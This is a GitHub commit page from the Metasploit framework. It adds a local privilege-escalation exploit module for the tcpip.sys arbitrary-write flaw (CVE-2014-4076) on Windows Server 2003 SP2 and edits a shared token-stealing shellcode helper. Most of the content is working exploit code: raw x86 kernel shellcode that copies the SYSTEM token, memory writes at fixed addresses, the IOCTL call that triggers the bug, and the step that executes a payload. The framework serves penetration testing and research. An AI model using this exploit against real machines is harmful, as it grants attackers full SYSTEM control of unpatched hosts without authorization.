Skip to content

Commit 4e0a62c

Browse files
committed
Land rapid7#4664, MS14-070 Server 2003 tcpip.sys priv esc
2 parents f8c81e6 + a359fe9 commit 4e0a62c

File tree

2 files changed

+168
-5
lines changed

2 files changed

+168
-5
lines changed

lib/msf/core/exploit/local/windows_kernel.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -116,10 +116,12 @@ def open_device(file_name, desired_access, share_mode, creation_disposition, fla
116116
# original token to so it can be restored later.
117117
# @param arch [String] The architecture to return shellcode for. If this is nil,
118118
# the arch will be guessed from the target and then module information.
119+
# @param append_ret [Boolean] Append a ret instruction for use when being called
120+
# in place of HaliQuerySystemInformation.
119121
# @return [String] The token stealing shellcode.
120122
# @raise [ArgumentError] If the arch is incompatible.
121123
#
122-
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
124+
def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true)
123125
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
124126
if arch.nil? && module_info['Arch']
125127
arch = module_info['Arch']
@@ -144,15 +146,17 @@ def token_stealing_shellcode(target, backup_token = nil, arch = nil)
144146
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
145147
end
146148
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
147-
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
149+
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
148150
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
149-
tokenstealing << "\x75\xe8" # jne 0000101e ======================
150-
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
151+
tokenstealing << "\x75\xe8" # jne 0000101e ======================|
152+
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
151153
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
152154
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
153155
tokenstealing << "\x5b" # pop ebx # Restores ebx
154156
tokenstealing << "\x5a" # pop edx # Restores edx
155-
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
157+
if append_ret
158+
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
159+
end
156160
else
157161
# if this is reached the issue most likely exists in the exploit module
158162
print_error('Unsupported arch for token stealing shellcode')
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/local/windows_kernel'
8+
require 'rex'
9+
10+
class Metasploit3 < Msf::Exploit::Local
11+
Rank = AverageRanking
12+
13+
include Msf::Exploit::Local::WindowsKernel
14+
include Msf::Post::File
15+
include Msf::Post::Windows::FileInfo
16+
include Msf::Post::Windows::Priv
17+
include Msf::Post::Windows::Process
18+
19+
def initialize(info={})
20+
super(update_info(info, {
21+
'Name' => 'Windows tcpip.sys Arbitrary Write Privilege Escalation',
22+
'Description' => %q{
23+
A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys,
24+
can allow an attacker to inject controlled memory into an arbitrary
25+
location within the kernel.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
31+
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
32+
],
33+
'Arch' => ARCH_X86,
34+
'Platform' => 'win',
35+
'SessionTypes' => [ 'meterpreter' ],
36+
'DefaultOptions' =>
37+
{
38+
'EXITFUNC' => 'thread',
39+
},
40+
'Targets' =>
41+
[
42+
['Windows Server 2003 SP2',
43+
{
44+
'_KPROCESS' => "\x38",
45+
'_TOKEN' => "\xd8",
46+
'_UPID' => "\x94",
47+
'_APLINKS' => "\x98"
48+
}
49+
]
50+
],
51+
'References' =>
52+
[
53+
['CVE', '2014-4076'],
54+
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt']
55+
],
56+
'DisclosureDate'=> 'Nov 11 2014',
57+
'DefaultTarget' => 0
58+
}))
59+
60+
end
61+
62+
def check
63+
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
64+
return Exploit::CheckCode::Safe
65+
end
66+
67+
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
68+
return Exploit::CheckCode::Safe unless handle
69+
70+
session.railgun.kernel32.CloseHandle(handle)
71+
72+
file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys"
73+
unless file?(file_path)
74+
return Exploit::CheckCode::Unknown
75+
end
76+
77+
major, minor, build, revision, branch = file_version(file_path)
78+
vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
79+
80+
if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440)
81+
return Exploit::CheckCode::Vulnerable
82+
end
83+
84+
return Exploit::CheckCode::Safe
85+
end
86+
87+
def exploit
88+
if is_system?
89+
fail_with(Exploit::Failure::None, 'Session is already elevated')
90+
end
91+
92+
if sysinfo["Architecture"] =~ /wow64/i
93+
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
94+
elsif sysinfo["Architecture"] =~ /x64/
95+
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
96+
end
97+
98+
unless check == Exploit::CheckCode::Vulnerable
99+
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
100+
end
101+
102+
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
103+
if handle.nil?
104+
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
105+
end
106+
107+
print_status("Storing the shellcode in memory...")
108+
this_proc = session.sys.process.open
109+
110+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE")
111+
112+
unless this_proc.memory.writable?(0x1000)
113+
fail_with(Failure::Unknown, 'Failed to allocate memory')
114+
end
115+
116+
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
117+
118+
sc = token_stealing_shellcode(target, nil, nil, false)
119+
# move up the stack frames looking for nt!KiSystemServicePostCall
120+
sc << "\x31\xc9" # xor ecx, ecx
121+
sc << "\x89\xeb" # mov ebx, ebp
122+
# count_frames
123+
sc << "\x41" # inc ecx
124+
sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000
125+
sc << "\x8b\x1b" # mov ebx, dword [ebx]
126+
sc << "\x75\xf4" # jne short count_frames
127+
sc << "\x49" # dec ecx
128+
# loop_frames
129+
sc << "\x49" # dec ecx
130+
sc << "\x89\xec" # mov esp, ebp
131+
sc << "\x5d" # pop ebp
132+
sc << "\x83\xf9\x00" # cmp ecx, 0
133+
sc << "\x75\xf7" # jne loop_frames
134+
sc << "\x31\xc0" # xor eax, eax
135+
sc << "\xc3" # ret
136+
137+
this_proc.memory.write(0x28, "\x87\xff\xff\x38")
138+
this_proc.memory.write(0x38, "\x00\x00")
139+
this_proc.memory.write(0x1100, buf)
140+
this_proc.memory.write(0x2b, "\x00\x00")
141+
this_proc.memory.write(0x2000, sc)
142+
143+
print_status("Triggering the vulnerability...")
144+
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0)
145+
#session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it
146+
147+
print_status("Checking privileges after exploitation...")
148+
149+
unless is_system?
150+
fail_with(Failure::Unknown, "The exploitation wasn't successful")
151+
end
152+
153+
print_good("Exploitation successful!")
154+
unless execute_shellcode(payload.encoded, nil, this_proc.pid)
155+
fail_with(Failure::Unknown, 'Error while executing the payload')
156+
end
157+
end
158+
159+
end

0 commit comments

Comments
 (0)